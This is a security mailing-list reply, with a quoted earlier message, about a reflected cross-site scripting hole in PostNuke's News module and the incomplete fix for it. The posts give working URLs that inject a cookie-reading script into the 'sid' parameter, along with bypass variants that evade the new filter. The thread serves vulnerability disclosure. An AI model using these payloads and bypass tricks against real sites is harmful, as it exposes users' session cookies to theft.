Re: Postnuke XSS fixed

[Muhammad Faisal Rauf Danka <mfrd () attitudex com>]

I just checked it again :

http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=<script+>alert(document.cookie);</script>

where + denotes a blank space or similarly this one:

http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=<script%20>alert(document.cookie);</script>

resulting in Sorry - $HTTP_GET_VARS contains javascript... Msg.

However the request:
?op=modload&name=News&file=article&sid=<\script>alert(document.cookie);</script>

or any character inserted before first "script" and after first less than "<" resulting in DB Error, revealing nothing 
(user/pass/path etc).

But I used I.E and Netscape, maybe it's different with other browsers. :)

Regards
--------
Muhammad Faisal Rauf Danka

Head of GemSEC / Chief Technology Officer
Gem Internet Services (Pvt) Ltd.
web: www.gem.net.pk
Key Id: 0x784B0202
Key Fingerprint: 6F8C EDCF 6C6E 06A5 48D7 6A20 C592 484B 
784B 0202


--- Daniel Woods <dwoods () ucalgary ca> wrote:
> Humm!
>
> > on 26th Sep the following url:
> > http://news.postnuke.com/modules.php
> >              ?op=modload&name=News&file=article&sid=<script>alert(document.cookie);</script>
> >
> > used to give Alert PopUp and
> > Error:
> > DB Error: getArticles: 1064: You have an error in your SQL syntax near '='
> > at line 23
> >
> > now it gives:
> > Sorry - $HTTP_GET_VARS contains javascript...
> >
> > Prompt fix by PostNuke team, great work Keep it up! :)
>
> Not so fast on the praise :(
>
> It only took me a couple of workarounds to find ways to bypass the check.
>
>  http://news.postnuke.com/modules.php
>         ?op=modload&name=News&file=article&sid=<script>alert(document.cookie);</script>
>
> Using the request...
>         ?op=modload&name=News&file=article&sid=<\script>alert(document.cookie);</script>
> gives me the DB Error: message
>
> And using the request...
>         ?op=modload&name=News&file=article&sid=<script+>alert(document.cookie);</script>
> gives me the Alert Popup and DB Error: message...  the '+' is treated as a blank.
>
> Thanks... Dan.

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